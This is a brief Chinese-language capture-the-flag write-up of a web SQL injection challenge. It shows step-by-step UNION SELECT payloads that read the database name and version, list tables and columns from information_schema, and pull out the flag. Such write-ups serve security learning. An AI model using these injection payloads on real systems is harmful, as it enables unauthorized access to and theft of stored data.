web

是一个sql注入的题目，输入1，2，发现都有对应的数据，到三就没有了，而且用order by 判断一下，发现select前面只有两列。

于是输入3 union select 1,2 #，发现1，2都显示了。

在输入

3 union select database(),version() #

获取了数据库名称与版本

3 union select database(),table_name from information_schema.tables where table_schema=database() #

发现了f111aa4g这个表，应该与flag有关

3 union select database(),group_concat(column_name) from information_schema.columns where table_name='f111aa4g' #

查看这个表的内部数据，得到

week3_sqliiii2   id,dajiangyoude,f111aaaggg_w3

查看f111aaaggg_w3

3 union select database(),group_concat(f111aaaggg_w3) from f111aa4g #

得到flag